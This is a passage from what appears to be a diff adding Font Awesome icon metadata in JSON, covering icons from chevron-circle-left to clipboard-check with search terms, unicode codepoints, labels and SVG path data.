504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zM142.1 273l135.5 135.5c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L226.9 256l101.6-101.6c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L142.1 239c-9.4 9.4-9.4 24.6 0 34z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zM142.1 273l135.5 135.5c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L226.9 256l101.6-101.6c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L142.1 239c-9.4 9.4-9.4 24.6 0 34z" + } + }, + "free": [ + "solid" + ] + }, + "chevron-circle-right": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "forward", + "next" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f138", + "label": "Chevron Circle Right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635399, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm113.9 231L234.4 103.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L285.1 256 183.5 357.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L369.9 273c9.4-9.4 9.4-24.6 0-34z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm113.9 231L234.4 103.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L285.1 256 183.5 357.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L369.9 273c9.4-9.4 9.4-24.6 0-34z" + } + }, + "free": [ + "solid" + ] + }, + "chevron-circle-up": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "collapse", + "upload" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f139", + "label": "Chevron Circle Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635399, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm231-113.9L103.5 277.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L256 226.9l101.6 101.6c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L273 142.1c-9.4-9.4-24.6-9.4-34 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm231-113.9L103.5 277.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L256 226.9l101.6 101.6c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L273 142.1c-9.4-9.4-24.6-9.4-34 0z" + } + }, + "free": [ + "solid" + ] + }, + "chevron-down": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "download", + "expand" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f078", + "label": "chevron-down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635401, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M207.029 381.476L12.686 187.132c-9.373-9.373-9.373-24.569 0-33.941l22.667-22.667c9.357-9.357 24.522-9.375 33.901-.04L224 284.505l154.745-154.021c9.379-9.335 24.544-9.317 33.901.04l22.667 22.667c9.373 9.373 9.373 24.569 0 33.941L240.971 381.476c-9.373 9.372-24.569 9.372-33.942 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M207.029 381.476L12.686 187.132c-9.373-9.373-9.373-24.569 0-33.941l22.667-22.667c9.357-9.357 24.522-9.375 33.901-.04L224 284.505l154.745-154.021c9.379-9.335 24.544-9.317 33.901.04l22.667 22.667c9.373 9.373 9.373 24.569 0 33.941L240.971 381.476c-9.373 9.372-24.569 9.372-33.942 0z" + } + }, + "free": [ + "solid" + ] + }, + "chevron-left": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "back", + "bracket", + "previous" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f053", + "label": "chevron-left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635401, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M34.52 239.03L228.87 44.69c9.37-9.37 24.57-9.37 33.94 0l22.67 22.67c9.36 9.36 9.37 24.52.04 33.9L131.49 256l154.02 154.75c9.34 9.38 9.32 24.54-.04 33.9l-22.67 22.67c-9.37 9.37-24.57 9.37-33.94 0L34.52 272.97c-9.37-9.37-9.37-24.57 0-33.94z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M34.52 239.03L228.87 44.69c9.37-9.37 24.57-9.37 33.94 0l22.67 22.67c9.36 9.36 9.37 24.52.04 33.9L131.49 256l154.02 154.75c9.34 9.38 9.32 24.54-.04 33.9l-22.67 22.67c-9.37 9.37-24.57 9.37-33.94 0L34.52 272.97c-9.37-9.37-9.37-24.57 0-33.94z" + } + }, + "free": [ + "solid" + ] + }, + "chevron-right": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "bracket", + "forward", + "next" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f054", + "label": "chevron-right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635402, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z" + } + }, + "free": [ + "solid" + ] + }, + "chevron-up": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "arrow", + "collapse", + "upload" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f077", + "label": "chevron-up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635402, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M240.971 130.524l194.343 194.343c9.373 9.373 9.373 24.569 0 33.941l-22.667 22.667c-9.357 9.357-24.522 9.375-33.901.04L224 227.495 69.255 381.516c-9.379 9.335-24.544 9.317-33.901-.04l-22.667-22.667c-9.373-9.373-9.373-24.569 0-33.941L207.03 130.525c9.372-9.373 24.568-9.373 33.941-.001z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M240.971 130.524l194.343 194.343c9.373 9.373 9.373 24.569 0 33.941l-22.667 22.667c-9.357 9.357-24.522 9.375-33.901.04L224 227.495 69.255 381.516c-9.379 9.335-24.544 9.317-33.901-.04l-22.667-22.667c-9.373-9.373-9.373-24.569 0-33.941L207.03 130.525c9.372-9.373 24.568-9.373 33.941-.001z" + } + }, + "free": [ + "solid" + ] + }, + "child": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "boy", + "girl", + "kid", + "toddler", + "young" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1ae", + "label": "Child", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635403, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M120 72c0-39.765 32.235-72 72-72s72 32.235 72 72c0 39.764-32.235 72-72 72s-72-32.236-72-72zm254.627 1.373c-12.496-12.497-32.758-12.497-45.254 0L242.745 160H141.254L54.627 73.373c-12.496-12.497-32.758-12.497-45.254 0-12.497 12.497-12.497 32.758 0 45.255L104 213.254V480c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V368h16v112c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V213.254l94.627-94.627c12.497-12.497 12.497-32.757 0-45.254z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M120 72c0-39.765 32.235-72 72-72s72 32.235 72 72c0 39.764-32.235 72-72 72s-72-32.236-72-72zm254.627 1.373c-12.496-12.497-32.758-12.497-45.254 0L242.745 160H141.254L54.627 73.373c-12.496-12.497-32.758-12.497-45.254 0-12.497 12.497-12.497 32.758 0 45.255L104 213.254V480c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V368h16v112c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V213.254l94.627-94.627c12.497-12.497 12.497-32.757 0-45.254z" + } + }, + "free": [ + "solid" + ] + }, + "chrome": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "browser" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f268", + "label": "Chrome", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860973, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M131.5 217.5L55.1 100.1c47.6-59.2 119-91.8 192-92.1 42.3-.3 85.5 10.5 124.8 33.2 43.4 25.2 76.4 61.4 97.4 103L264 133.4c-58.1-3.4-113.4 29.3-132.5 84.1zm32.9 38.5c0 46.2 37.4 83.6 83.6 83.6s83.6-37.4 83.6-83.6-37.4-83.6-83.6-83.6-83.6 37.3-83.6 83.6zm314.9-89.2L339.6 174c37.9 44.3 38.5 108.2 6.6 157.2L234.1 503.6c46.5 2.5 94.4-7.7 137.8-32.9 107.4-62 150.9-192 107.4-303.9zM133.7 303.6L40.4 120.1C14.9 159.1 0 205.9 0 256c0 124 90.8 226.7 209.5 244.9l63.7-124.8c-57.6 10.8-113.2-20.8-139.5-72.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M131.5 217.5L55.1 100.1c47.6-59.2 119-91.8 192-92.1 42.3-.3 85.5 10.5 124.8 33.2 43.4 25.2 76.4 61.4 97.4 103L264 133.4c-58.1-3.4-113.4 29.3-132.5 84.1zm32.9 38.5c0 46.2 37.4 83.6 83.6 83.6s83.6-37.4 83.6-83.6-37.4-83.6-83.6-83.6-83.6 37.3-83.6 83.6zm314.9-89.2L339.6 174c37.9 44.3 38.5 108.2 6.6 157.2L234.1 503.6c46.5 2.5 94.4-7.7 137.8-32.9 107.4-62 150.9-192 107.4-303.9zM133.7 303.6L40.4 120.1C14.9 159.1 0 205.9 0 256c0 124 90.8 226.7 209.5 244.9l63.7-124.8c-57.6 10.8-113.2-20.8-139.5-72.5z" + } + }, + "free": [ + "brands" + ] + }, + "chromecast": { + "changes": [ + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f838", + "label": "Chromecast", + "svg": { + "brands": { + "last_modified": 1602599794442, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z" + } + }, + "free": [ + "brands" + ] + }, + "church": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "cathedral", + "chapel", + "community", + "religion" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f51d", + "label": "Church", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635403, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M464.46 246.68L352 179.2V128h48c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-48V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v48h-48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v51.2l-112.46 67.48A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.65-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.54A32.024 32.024 0 0 0 0 395.96zm620.61-29.42L512 320v192h112c8.84 0 16-7.16 16-16V395.96c0-12.8-7.63-24.37-19.39-29.42z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M464.46 246.68L352 179.2V128h48c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-48V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v48h-48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v51.2l-112.46 67.48A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.65-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.54A32.024 32.024 0 0 0 0 395.96zm620.61-29.42L512 320v192h112c8.84 0 16-7.16 16-16V395.96c0-12.8-7.63-24.37-19.39-29.42z" + } + }, + "free": [ + "solid" + ] + }, + "circle": { + "changes": [ + "3", + "5.0.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "circle-thin", + "diameter", + "dot", + "ellipse", + "notification", + "round" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f111", + "label": "Circle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635404, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8z" + }, + "regular": { + "last_modified": 1628088634737, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "circle-notch": { + "changes": [ + "4.1", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "circle-o-notch", + "diameter", + "dot", + "ellipse", + "round", + "spinner" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1ce", + "label": "Circle Notched", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635404, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 39.056v16.659c0 10.804 7.281 20.159 17.686 23.066C383.204 100.434 440 171.518 440 256c0 101.689-82.295 184-184 184-101.689 0-184-82.295-184-184 0-84.47 56.786-155.564 134.312-177.219C216.719 75.874 224 66.517 224 55.712V39.064c0-15.709-14.834-27.153-30.046-23.234C86.603 43.482 7.394 141.206 8.003 257.332c.72 137.052 111.477 246.956 248.531 246.667C393.255 503.711 504 392.788 504 256c0-115.633-79.14-212.779-186.211-240.236C302.678 11.889 288 23.456 288 39.056z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M288 39.056v16.659c0 10.804 7.281 20.159 17.686 23.066C383.204 100.434 440 171.518 440 256c0 101.689-82.295 184-184 184-101.689 0-184-82.295-184-184 0-84.47 56.786-155.564 134.312-177.219C216.719 75.874 224 66.517 224 55.712V39.064c0-15.709-14.834-27.153-30.046-23.234C86.603 43.482 7.394 141.206 8.003 257.332c.72 137.052 111.477 246.956 248.531 246.667C393.255 503.711 504 392.788 504 256c0-115.633-79.14-212.779-186.211-240.236C302.678 11.889 288 23.456 288 39.056z" + } + }, + "free": [ + "solid" + ] + }, + "city": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buildings", + "busy", + "skyscrapers", + "urban", + "windows" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f64f", + "label": "City", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635404, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M616 192H480V24c0-13.26-10.74-24-24-24H312c-13.26 0-24 10.74-24 24v72h-64V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v80h-64V16c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v80H24c-13.26 0-24 10.74-24 24v360c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V216c0-13.26-10.75-24-24-24zM128 404c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm128 192c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12V76c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 288c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M616 192H480V24c0-13.26-10.74-24-24-24H312c-13.26 0-24 10.74-24 24v72h-64V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v80h-64V16c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v80H24c-13.26 0-24 10.74-24 24v360c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V216c0-13.26-10.75-24-24-24zM128 404c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm128 192c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12V76c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 288c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40z" + } + }, + "free": [ + "solid" + ] + }, + "clinic-medical": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "doctor", + "general practitioner", + "hospital", + "infirmary", + "medicine", + "office", + "outpatient" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7f2", + "label": "Medical Clinic", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635404, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 115L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2zm96 261a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8zm186.69-139.72l-255.94-226a39.85 39.85 0 0 0-53.45 0l-256 226a16 16 0 0 0-1.21 22.6L25.5 282.7a16 16 0 0 0 22.6 1.21L277.42 81.63a16 16 0 0 1 21.17 0L527.91 283.9a16 16 0 0 0 22.6-1.21l21.4-23.82a16 16 0 0 0-1.22-22.59z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 115L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2zm96 261a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8zm186.69-139.72l-255.94-226a39.85 39.85 0 0 0-53.45 0l-256 226a16 16 0 0 0-1.21 22.6L25.5 282.7a16 16 0 0 0 22.6 1.21L277.42 81.63a16 16 0 0 1 21.17 0L527.91 283.9a16 16 0 0 0 22.6-1.21l21.4-23.82a16 16 0 0 0-1.22-22.59z" + } + }, + "free": [ + "solid" + ] + }, + "clipboard": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "copy", + "notes", + "paste", + "record" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f328", + "label": "Clipboard", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635406, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 112v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h80c0-35.29 28.71-64 64-64s64 28.71 64 64h80c26.51 0 48 21.49 48 48zM192 40c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24m96 114v-20a6 6 0 0 0-6-6H102a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h180a6 6 0 0 0 6-6z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M384 112v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h80c0-35.29 28.71-64 64-64s64 28.71 64 64h80c26.51 0 48 21.49 48 48zM192 40c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24m96 114v-20a6 6 0 0 0-6-6H102a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h180a6 6 0 0 0 6-6z" + }, + "regular": { + "last_modified": 1628088634741, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm144 418c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h42v36c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-36h42c3.3 0 6 2.7 6 6z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm144 418c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h42v36c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-36h42c3.3 0 6 2.7 6 6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "clipboard-check": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "accept", + "agree", + "confirm", + "done", + "ok", + "select", + "success", + "tick", + "todo", + "yes" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f46c", + "label": "Clipboard with Check", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635405, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm121.2 231.8l-143 141.8c-4.7 4.7-12.3 4.6-17-.1l-82.6-83.3c-4.7-4.7-4.6-12.3.1-17L99.1 285c4.7-4.7 12.3-4.6 17 .1l46 46.4 106-105.2c4.7-4.7 12.3-4.6 17 .1l28.2 28.4c4.7 4.8 4.6 12.3-.1 17z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + 